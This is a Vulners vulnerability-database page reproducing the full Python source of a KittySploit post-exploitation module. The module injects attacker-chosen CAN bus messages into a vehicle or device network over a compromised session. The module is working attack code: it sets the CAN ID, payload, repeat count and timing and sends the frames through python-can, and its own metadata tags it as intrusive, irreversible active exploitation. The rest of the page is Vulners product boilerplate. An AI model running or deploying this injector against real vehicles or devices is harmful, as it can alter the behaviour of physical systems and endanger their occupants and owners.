Lucene search
+L

Inject CAN Message

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

The KittySploit CANBUS Message Injector module allows active exploitation via CAN messages.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
CANBUS Message Injector - Injects CAN messages into the bus
Author: KittySploit Team
Version: 1.0.0
"""

from kittysploit import *
from core.output_handler import print_info, print_success, print_error, print_warning
import time

class Module(Post):
    """Inject CAN messages into the bus"""
    
    __info__ = {
        "name": "Inject CAN Message",
        "description": "Injects CAN messages into the bus (attack/exploitation)",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "session_type": SessionType.CANBUS,
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    can_id = OptString("", "CAN ID to inject (hex format, e.g., 0x123)", required=True)
    data = OptString("", "Data to inject (hex format, e.g., DEADBEEF)", required=True)
    extended_id = OptBool(False, "Use extended CAN ID (29-bit)", required=True)
    remote_frame = OptBool(False, "Send as remote frame", required=True)
    dry_run = OptBool(False, "Validate and print the message without sending", required=False)
    store_sent = OptBool(True, "Append sent messages to session.data['sent_messages']", required=False)
    count = OptInteger(1, "Number of times to inject the message", required=True)
    interval = OptFloat(0.1, "Interval between injections in seconds", required=True)
    
    def check(self):
        """Check if session is a CANBUS session and if python-can is available"""
        try:
            import can
        except ImportError:
            print_error("python-can is required but not installed")
            print_info("Install it with: pip install python-can")
            return False
        
        session_id_value = str(self.session_id)
        if not session_id_value:
            print_error("Session ID not set")
            return False
        
        if self.framework and hasattr(self.framework, 'session_manager'):
            session = self.framework.session_manager.get_session(session_id_value)
            if session:
                if session.session_type == 'canbus':
                    return True
                else:
                    print_error(f"Session is not a CANBUS session (type: {session.session_type})")
                    return False
            else:
                print_error("Session not found")
                return False
        else:
            print_warning("Session manager not available - assuming valid session")
            return True
    
    def run(self):
        """Inject CAN message into the bus"""
        try:
            import can
            
            session_id_value = str(self.session_id)
            
            if not self.framework or not hasattr(self.framework, 'session_manager'):
                print_error("Framework or session manager not available")
                return False
            
            session = self.framework.session_manager.get_session(session_id_value)
            if not session:
                print_error("Session not found")
                return False
            
            data = session.data or {}
            interface = data.get('interface') or 'socketcan'
            channel = data.get('channel') or 'can0'
            bitrate = data.get('bitrate') or 500000
            
            can_id = self._parse_can_id(self.can_id)
            if can_id is None:
                print_error(f"Invalid CAN ID: {self.can_id}")
                return False

            is_extended = bool(self.extended_id)
            if not is_extended and can_id > 0x7FF:
                print_error("Standard CAN IDs must be <= 0x7FF. Enable EXTENDED_ID for 29-bit IDs.")
                return False
            if is_extended and can_id > 0x1FFFFFFF:
                print_error("Extended CAN IDs must be <= 0x1FFFFFFF")
                return False
            
            data_str = self._normalize_hex(self.data)
            if len(data_str) % 2 != 0:
                print_error("Data must be in hex format with even number of characters")
                return False
            if any(c not in "0123456789ABCDEFabcdef" for c in data_str):
                print_error("Data must contain only hex bytes")
                return False
            
            data_bytes = bytes.fromhex(data_str)
            if len(data_bytes) > 8:
                print_error("Classic CAN payloads are limited to 8 bytes")
                return False

            count = int(self.count)
            interval = float(self.interval)
            if count < 1:
                print_error("COUNT must be >= 1")
                return False
            if count > 1000:
                print_error("COUNT is capped at 1000 for safety")
                return False
            if interval < 0.01:
                print_error("INTERVAL must be >= 0.01 seconds for safety")
                return False
            
            # Create CAN message
            message = can.Message(
                arbitration_id=can_id,
                data=data_bytes,
                is_extended_id=is_extended,
                is_remote_frame=bool(self.remote_frame)
            )
            
            print_info("Injecting CAN message...")
            print_info("=" * 80)
            print_info(f"CAN ID: 0x{can_id:03X} ({'extended' if message.is_extended_id else 'standard'})")
            print_info(f"Data: {data_str.upper()}")
            print_info(f"Remote Frame: {message.is_remote_frame}")
            print_info(f"Count: {count}")
            print_info(f"Interval: {interval} seconds")
            print_info(f"Dry run: {bool(self.dry_run)}")
            print_info("")

            if bool(self.dry_run):
                print_success("Dry run completed; message was not sent")
                return True
            
            # Use a live bus object from the listener when available, otherwise reconnect.
            own_bus = False
            try:
                bus = self._get_session_bus(data)
                if bus is None:
                    bus = self._open_bus(interface, channel, bitrate)
                    own_bus = True
            except Exception as e:
                print_error(f"Failed to connect to CAN bus: {e}")
                return False
            
            # Inject messages
            injected = 0
            sent_records = []
            for i in range(count):
                try:
                    bus.send(message)
                    injected += 1
                    sent_records.append({
                        "timestamp": time.time(),
                        "can_id": can_id,
                        "can_id_hex": self._fmt_can_id(can_id),
                        "data": data_str.upper(),
                        "dlc": len(data_bytes),
                        "is_extended": message.is_extended_id,
                        "is_remote": message.is_remote_frame,
                    })
                    print_success(f"Message {i+1}/{count} injected: 0x{can_id:03X} - {data_str.upper()}")
                    
                    if i < count - 1:  # Don't sleep after last message
                        time.sleep(interval)
                except Exception as e:
                    print_error(f"Error injecting message {i+1}: {e}")
            
            if own_bus:
                try:
                    bus.shutdown()
                except Exception:
                    pass

            if bool(self.store_sent) and sent_records:
                try:
                    session.data.setdefault("sent_messages", []).extend(sent_records)
                    if hasattr(self.framework.session_manager, "update_session_data"):
                        self.framework.session_manager.update_session_data(
                            session_id_value,
                            {"sent_messages": session.data.get("sent_messages", [])}
                        )
                except Exception:
                    pass
            
            print_success(f"\nSuccessfully injected {injected}/{count} messages")
            print_warning("Message injection may affect vehicle/device behavior")
            
            return True
            
        except Exception as e:
            print_error(f"Error injecting CAN message: {e}")
            import traceback
            traceback.print_exc()
            return False

    def _get_session_bus(self, data):
        """Return a listener-owned python-can bus if the session exposes one."""
        for key in ("bus", "can_bus", "connection"):
            bus = data.get(key)
            if bus is not None and hasattr(bus, "send"):
                return bus
        return None

    def _open_bus(self, interface, channel, bitrate):
        import can

        if interface == "socketcan":
            return can.interface.Bus(channel=channel, bustype="socketcan")
        if interface == "virtual":
            return can.interface.Bus(channel=channel, bustype="virtual")
        return can.interface.Bus(channel=channel, bustype=interface, bitrate=bitrate)

    def _parse_can_id(self, value):
        try:
            text = str(value).strip()
            if text.lower().startswith("0x"):
                return int(text, 16)
            if all(c in "0123456789ABCDEFabcdef" for c in text):
                return int(text, 16)
            return int(text)
        except Exception:
            return None

    def _normalize_hex(self, value):
        if isinstance(value, (bytes, bytearray)):
            return bytes(value).hex().upper()
        return str(value or "").replace(" ", "").replace(":", "").upper()

    def _fmt_can_id(self, can_id):
        return f"0x{can_id:03X}" if int(can_id) <= 0x7FF else f"0x{can_id:08X}"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9
0